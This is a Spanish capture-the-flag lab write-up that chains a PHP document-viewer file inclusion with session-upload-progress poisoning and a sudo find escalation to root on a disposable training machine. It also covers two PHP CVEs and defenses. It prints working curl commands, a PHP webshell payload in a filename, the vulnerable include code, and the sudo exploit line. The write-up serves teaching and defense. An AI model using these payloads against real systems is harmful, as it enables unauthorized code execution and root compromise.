PHP2Shell · laboratorio 001
De un visor de documentos a root.
La cadena completa del laboratorio, por qué funciona cada paso, y el estado real —sin marketing— de las dos vulnerabilidades de PHP que le dan nombre.
En una línea. El visor incluye la ruta que le pasas → lees ficheros como www-data; el nombre del fichero subido se escribe dentro de la sesión de PHP → lo incluyes y ejecutas; y sudo find te deja leer la flag de root. Sin fuerza bruta y sin adivinar.
1 · El laboratorio en dos minutos
Cada miembro recibe una máquina desechable, no una carpeta compartida. El portal solo pide un código personal; detrás, un broker crea un droplet en DigitalOcean desde una imagen base, le inyecta dos flags únicas, abre el puerto 80 en una IP pública y arranca un reloj de una hora.
- Una instancia por miembro. No se comparte: dentro hay root, y compartir rompería el reto.
- Vive una hora. La etiqueta
ttl-<epoch>viaja dentro del propio droplet; el reaper lo destruye aunque el portal esté caído. - Solo responde el 80 y solo mientras vive la sesión. El resto de puertos está cerrado y el droplet no tiene salida a Internet: no sirve de puente.
- Dos flags. La de usuario se consigue con el privilegio del worker web; la de root, escalando.
2 · El recorrido, paso a paso
Todo ocurre sobre http://<ip-pública>/, la dirección que la plataforma te asigna al arrancar. Sin cliente VPN ni configuración: se abre en el navegador.
2.1 · Reconocimiento
La portada es una aplicación de archivo: un formulario de subida y un visor de documentos. El visor recibe la ruta en ?doc= y la incluye. Ahí está el fallo.
curl "http://10.77.0.1/preview.php?doc=docs/informe-2026.txt"

2.2 · Lectura de ficheros (la flag de usuario)
El filtro solo bloquea .., así que una ruta absoluta pasa sin problema. La flag de usuario está protegida para el resto del mundo, pero es legible por el usuario del servicio web:
curl "http://10.77.0.1/preview.php?doc=/etc/passwd"
curl "http://10.77.0.1/preview.php?doc=/home/analyst/user.txt"
/home/analyst/backup/user.txt y un informe en /opt/reports/root.txt. Son señuelos: no corresponden a las flags válidas de la sesión.2.3 · De lectura a ejecución (session poisoning)
El formulario de subida incluye PHP_SESSION_UPLOAD_PROGRESS. Con esa opción activada, PHP escribe en el fichero de sesión el nombre del fichero que estás subiendo. Si ese nombre contiene código PHP, el código acaba en un fichero bajo /var/lib/php/sessions/. Y el visor incluye lo que le pidas.
# 1. el nombre del fichero lleva el código; sin ';' porque corta el multipart
curl -s -b "PHPSESSID=pwn1" \
-F "PHP_SESSION_UPLOAD_PROGRESS=archivo" \
-F 'document=@payload;filename=<?php system($_GET[0])?>' \
http://10.77.0.1/index.php
# 2. se incluye la sesión y se ejecuta
curl "http://10.77.0.1/preview.php?doc=/var/lib/php/sessions/sess_pwn1&0=id"
La imagen del reto fija session.upload_progress.cleanup=0 a propósito: sin eso, el fichero se borra al terminar la subida y la cadena depende de ganar una carrera de milisegundos. En un laboratorio queremos enseñar la técnica, no el cronómetro.

2.4 · Escalada a root
Como www-data, sudo -l muestra una regla heredada del equipo de soporte:
www-data ALL=(root) NOPASSWD: /usr/bin/find
find con -exec ejecuta lo que le pongas, como root. Es el clásico de GTFOBins:
sudo find /root -name root.txt -exec cat {} +

Con las dos flags en el portal, la máquina queda resuelta: 40 puntos, 20 por evidencia.


uid=33(www-data) y la flag de root. Comandos reales ejecutados contra la máquina del túnel. Abre la captura para verla a tamaño completo.Las capturas de terminal reproducen el registro real del QA del 22 de octubre de 2026, cuando el acceso era por túnel WireGuard; por eso verás 10.77.0.1. Hoy la máquina se abre por su IP pública, con los mismos pasos y los mismos comandos.

/static/sounds/flag.wav).3 · Por qué el visor es vulnerable
El visor hace esto:
$doc = $_GET['doc'] ?? '';
if ($doc === '' || str_contains($doc, '..')) { http_response_code(404); exit; }
include $doc;
El filtro parece una defensa y no lo es: bloquea el traversal con .. pero acepta rutas absolutas, php://filter y cualquier fichero local. Un include con entrada del usuario es ejecución de código, no solo lectura. La lección: validar «que no tenga ..» no es validar una ruta; hay que comparar contra una lista blanca de documentos y nunca incluir rutas del usuario.
4 · PHP2Shell: qué se sabe de verdad
El reto se llama así por las dos vulnerabilidades del intérprete publicadas el 21 de octubre de 2026. Esta imagen corre PHP 8.4.26, anterior a la 8.4.27 que las corrige, con mod_php y mpm_prefork: el escenario que los avisos señalan como el más expuesto.
| CVE · GHSA | Qué rompe | Cómo se dispara | Corregido en |
|---|---|---|---|
| CVE-2026-109618 GHSA-w8hw-w9fx-j79w | RCE por corrupción en OOM: longjmp() abandona la petición con memoria a medio inicializar. | Multipart que agota memory_limit durante el parseo, antes de tu código. Con mod_php el shutdown procesa el estado inválido; FPM mata al hijo. | 8.4.27 · 8.3.36 · 8.2.35 · 8.5.12 |
| CVE-2026-109619 GHSA-6wmf-4rv5-p3rp | RCE por estado global rancio: el worker conserva punteros a memoria liberada. | Necesita productor (fatal/OOM antes del reset) y consumidor (diagnóstico INI o session.upload_progress) en el mismo worker. | 8.4.27 · 8.3.36 · 8.2.35 · 8.5.12 |
Los avisos concretan el detalle, y conviene tenerlo claro porque es lo que hace que este laboratorio sea honesto consigo mismo:
- 109618 se apoya en el parseo multipart: una petición sin
Content-Lengthusable, partes con cabeceras ilimitadas, controles de fichero vacíos que no cuentan paramax_file_uploadsy nombres de campo anidados. Todo eso consume memoria muy por encima de lo que parece por el cable, y el agotamiento ocurre antes de que tu aplicación exista. La mitigación que propone PHP esmemory_limit=-1, no un parche de la aplicación. - 109619 necesita dos peticiones del mismo worker: una deja estado (sesión, error, extensión) apuntando a memoria que se libera, y la siguiente lo lee antes de inicializarse. Los dos consumidores confirmados son los diagnósticos de INI al arrancar y session.upload_progress; el caso de sesión está validado contra
mod_phpy contra FPM. - En esta imagen coinciden los requisitos: 8.4.26,
mod_phpconmpm_prefork,session.upload_progress.enabled=Onymemory_limit=128M. Lo que no hemos conseguido es cerrar la cadena de memoria con los PoC públicos (falla la fuga de heap), así que el recorrido resoluble sigue siendo el del visor.
Los dos están valorados 9,2 y permiten ejecución remota sin autenticación. Y los dos comparten superficie con el reto: el mismo session.upload_progress. Por eso el laboratorio es honesto consigo mismo —el recorrido resuelve por el visor, pero el tema que estudias es exactamente el que está en los avisos.
Son, a fecha de hoy, las dos últimas que ha publicado el proyecto PHP: el aviso es del 21 de octubre de 2026 y las versiones que las corrigen son 8.5.12, 8.4.27, 8.3.36 y 8.2.35. No consta un aviso posterior.
4.1 · Lo que se está diciendo en X
La conversación de estas horas en X merece separarse en dos columnas: lo que se sabe y lo que se repite. Un hilo de @LowLevelTweets y las notas de un investigador que dice haber probado un exploit coinciden en lo esencial:
- La ejecución exige direcciones de memoria que el ASLR protege.
- La UAF permite una lectura local que filtra direcciones del heap por la red como enteros de 64 bits; con eso se puede montar la escritura hasta el código.
- Los dos pasos dependen de un heap spray, y ahí está la dificultad real.
- La mayoría de los PoC que se están publicando no funcionan: son generados sin verificar. Hay al menos uno funcional que se apoya en fuerza bruta contra el ASLR, y por eso no es especialmente impactante.
- Los rumores de explotación en la naturaleza son irregulares; se espera que aumenten en las próximas semanas, con tasas de éxito muy distintas según la cadena.
Nada de eso viene confirmado por el proyecto PHP: es testimonio de la comunidad, y se mueve rápido. Lo que sí está confirmado es lo del apartado anterior —la superficie, las versiones y el parche— y que aquí no hemos conseguido cerrar la cadena.
4.2 · Lo que verificamos aquí
- La imagen reporta
X-Powered-By: PHP/8.4.26: está en el rango afectado de los dos CVE. - La configuración expone la superficie:
session.upload_progress.enabled=On,memory_limit=128M,mod_phpconmpm_prefork. - Un PoC público (el de
godylockz) acepta el objetivo, calcula los offsets dellibphp.soreal de esta imagen y lanza la cadena de 618. Falla en la fuga de heap (HEAP_LEAK_FAILED) con los dos valores dehtdatay contra dos páginas distintas. - Conclusión: el laboratorio contiene las dos vulnerabilidades y su superficie, pero el recorrido resoluble es el del visor. No vendemos una shell por el intérprete que no hemos visto funcionar.
longjmp() abandona la petición con memoria de petición a medio inicializar y el cierre de petición la procesa.5 · Cómo se defiende esto
- Parchear. 8.4.27, 8.3.36, 8.2.35 y 8.5.12 corrigen los dos CVE. En ramas sin soporte no hay parche: toca migrar.
- Apagar la superficie si no puedes parchear.
session.upload_progress.enabled=Offquita el callback de la ecuación; los avisos lo proponen como mitigación temporal, no como solución. - Registrar y mirar. Multipart raros seguidos de errores de memoria, 500 repetidos y
PHPSESSIDgigantes o malformados son las señales que citan los análisis. - No confiar en la aplicación. Aquí el fallo está en el intérprete: una aplicación perfecta sobre PHP vulnerable sigue siendo vulnerable.
- Y para el visor: lista blanca de documentos, nunca
includecon entrada del usuario, y el worker web sin permisos que no necesite. Elsudo findno se le da a nadie.
6 · La plataforma por dentro
- Portal y broker separados. El portal corre sin privilegios y no puede leer las imágenes ni el token del proveedor; el broker habla con la API y solo expone cinco operaciones cerradas.
- Una máquina por miembro, con límites: una activa, tres arranques por hora y 90 segundos entre arranques. Cuando se llenan los huecos (diez por defecto), se entra en una cola FIFO y la máquina arranca sola.
- Muerte garantizada. La etiqueta
ttldentro del droplet, un reaper cada 30 segundos y barrido de restos: ninguna máquina sobrevive a su hora aunque el portal se caiga. - Acceso directo. La máquina vive en una IP pública con solo el puerto 80 abierto. El firewall de DigitalOcean cierra la salida, así que no sirve de puente aunque la comprometan.
- Flags únicas por sesión. Las evidencias se renuevan en cada arranque. Las copias antiguas y los señuelos no validan los objetivos.
7 · Qué te llevas
- Un
includecon entrada del usuario es ejecución, no solo lectura. Bloquear..no es validar una ruta. session.upload_progressescribe datos que controlas dentro de un fichero que el servidor puede incluir: la superficie que comparten el reto y PHP2Shell.- Una regla de
sudoaparentemente inocente (find) es una shell como root. - El mismo callback que enseña el reto es el que está detrás de CVE-2026-109618 y CVE-2026-109619 — y por qué esos dos todavía no se explotan de forma fiable.
8 · Referencias
- Aviso oficial de PHP (21 oct 2026)
- GHSA-w8hw-w9fx-j79w — CVE-2026-109618
- GHSA-6wmf-4rv5-p3rp — CVE-2026-109619
- PoC público usado en la verificación
- Análisis públicos y avisos de CERT-EU, Wiz, Sansec y VulnCheck, consultados el 22 de octubre de 2026.
Documento vivo. Si algo de aquí deja de ser cierto —y con estas vulnerabilidades pasará—, se corrige y se dice.